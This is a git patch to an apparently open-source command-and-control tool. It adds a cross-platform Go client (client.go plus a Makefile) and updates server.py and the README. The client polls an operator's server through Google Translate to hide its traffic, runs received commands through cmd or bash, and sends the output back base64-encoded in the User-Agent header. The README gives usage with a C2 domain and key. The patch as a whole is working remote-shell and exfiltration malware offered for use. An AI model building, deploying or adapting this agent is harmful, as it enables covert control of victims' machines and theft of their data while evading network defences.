From 36bc380643291cc248c4e9ef8a1f20355d2c8014 Mon Sep 17 00:00:00 2001 From: Matheus Bernardes <12648924+mthbernardes@users.noreply.github.com> Date: Fri, 7 Dec 2018 01:59:23 -0200 Subject: [PATCH] Go agent --- Makefile | 9 ++++ README.md | 17 +++++-- client.go | 139 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ server.py | 5 +- 4 files changed, 165 insertions(+), 5 deletions(-) create mode 100644 Makefile create mode 100644 client.go mode change 100644 => 100755 server.py diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..b8d47c5 --- /dev/null +++ b/Makefile @@ -0,0 +1,9 @@ +build: + mkdir -p `pwd`/bin + GOOS=windows GOARCH=amd64 go build -o `pwd`/bin/client_Windows64.exe client.go + GOOS=windows GOARCH=386 go build -o `pwd`/bin/client_Windows.exe client.go + GOOS=darwin GOARCH=386 go build -o `pwd`/bin/client_Mac client.go + go build -o `pwd`/bin/client_Linux client.go + +clean: + rm -Rf `pwd`/bin diff --git a/README.md b/README.md index 8671e1d..7471e02 100644 --- a/README.md +++ b/README.md @@ -8,23 +8,34 @@ This tools uses [Google Translator](https://translate.google.com) as a proxy to # Environment Configuration First you need a VPS and a domain, for the domain you can get a free one on [Freenom](https://freenom.com/). -# Usage +# Server Start the server.py on your VPS ```bash python2.7 server.py Server running on port: 80 Secret Key: e294a11e-bb6f-49ed-b03a-9ec42be55062 ``` -It will provide you secret key which will be used on the client.sh, run the client on a computer with access to [Google Translator](https://translate.google.com), providing domain and the secret key generated by the server. +It will provide you secret key which will be used on the client. + +# Client bash +Run the client on a computer with access to [Google Translator](https://translate.google.com), providing domain and the secret key generated by the server. + ```bash bash client.sh www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062 ``` Now you have an interactive shell using named pipe files, **YES** you can `cd` into directories. +# Client Go +You first need to download the binarie or compile it, then the processe is equal of the bash client, +```bash +./client_Linux www.c2server.ml e294a11e-bb6f-49ed-b03a-9ec42be55062 +``` +With this client you have the hability to run it on Linux, Mac and Windows, but the client do not have a interactive shell yet. + # Poc [![CODE_IS_CHEAP_SHOW_ME_THE_DEMO](http://img.youtube.com/vi/02CFsE0k96E/0.jpg)](http://www.youtube.com/watch?v=02CFsE0k96E) # Known issues * ~~Google translate does not forward POST data, so there's a limit on the amount of data that your server can receive, for example, you'll probably not being able to read a big file like `.bashrc`.~~ `Problem fixed using User-Agent header to sent data`. + * ~~The client script works on Mac an Linux, but on Linux you need to install the `xmllint` which is on `libxml2-utils`~~ `Problem fixed, now the client is write also in go. * It's not a problem, but I just don't know if there's a rate limit on Google Translator - * The client script works on Mac an Linux, but on Linux you need to install the `xmllint` which is on `libxml2-utils` diff --git a/client.go b/client.go new file mode 100644 index 0000000..51d85ad --- /dev/null +++ b/client.go @@ -0,0 +1,139 @@ +package main + +import ( + "bytes" + "encoding/base64" + "fmt" + "log" + "net/http" + "os" + "os/exec" + "runtime" + "strings" + "github.com/antchfx/htmlquery" + "golang.org/x/net/html" + "golang.org/x/net/html/charset" +) + +type requestData struct { + url string + userAgent string + method string +} + +var C2URL string +var USERAGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" +var RESULT string + +func xpathParser(html *html.Node, xpath string) string { + a := htmlquery.FindOne(html, xpath) + return htmlquery.InnerText(a) +} + +func Encode(data []byte) string { + return base64.StdEncoding.EncodeToString(data) +} + +func parseCommand(command string) string { + if strings.Contains(command, "STARTCOMMAND") { + startIndex := strings.Index(command, "STARTCOMMAND") + endIndex := strings.Index(command, "ENDCOMMAND") + return command[startIndex+len("STARTCOMMAND") : endIndex] + } else { + return "" + } +} + +func doRequest(request requestData, printar bool) (*html.Node, error) { + client := http.Client{} + req, err := http.NewRequest(request.method, request.url, nil) + req.Header.Add("User-Agent", request.userAgent) + resp, err := client.Do(req) + if err != nil { + return nil, err + } + r, err := charset.NewReader(resp.Body, resp.Header.Get("Content-Type")) + if err != nil { + return nil, err + } + return html.Parse(r) +} + +func interact(request requestData) *html.Node { + resp, err := doRequest(request, false) + if err != nil { + fmt.Println(err) + } + return resp +} + +func translateFlow() string { + return thirdStep(secondStep(firstStep())) +} + +func firstStep() string { + request := requestData{ + url: "https://translate.google.com/translate?&anno=2&u=" + C2URL, + userAgent: USERAGENT, + method: "GET", + } + result := xpathParser(interact(request), "//iframe/@src") + return result + +} + +func secondStep(url string) string { + request := requestData{ + url: url, + userAgent: USERAGENT, + method: "GET", + } + + result := xpathParser(interact(request), "//a/@href") + return result +} + +func thirdStep(url string) string { + var useragent string + if len(RESULT) != 0 { + useragent = RESULT + } else { + useragent = USERAGENT + } + + request := requestData{ + url: url, + userAgent: useragent, + method: "GET", + } + + var b bytes.Buffer + html.Render(&b, interact(request)) + return parseCommand(b.String()) +} + +func execCommand(cmd string) { + var output []byte + if runtime.GOOS == "windows" { + output, _ = exec.Command("cmd", "/c", cmd).Output() + } else { + output, _ = exec.Command("bash", "-c", cmd).Output() + } + + RESULT = USERAGENT + " | " + Encode(output) + translateFlow() +} + +func main() { + args := os.Args + if len(args) < 3 { + log.Fatal("Usage Error\n" + args[0] + " www.c2server.ml secret-key") + } + key := args[2] + C2URL = "http://" + args[1] + "/?key=" + key + for { + execCommand(translateFlow()) + RESULT = "" + } +} + diff --git a/server.py b/server.py old mode 100644 new mode 100755 index f91a504..28a5540 --- a/server.py +++ b/server.py @@ -21,10 +21,10 @@ def do_GET(self,): if len(useragent) == 2: response = useragent[1].split(',')[0] print(response.decode("base64")) - self.wfile.write("") + self.wfile.write("Not Found") return cmd = raw_input("$ ") - self.wfile.write("{}".format(cmd)) + self.wfile.write("STARTCOMMAND{}ENDCOMMAND".format(cmd)) return self.send_response(404) self.send_header("Content-type","text/html") @@ -43,3 +43,4 @@ def log_message(self, format, *args): except KeyboardInterrupt: server.socket.close() +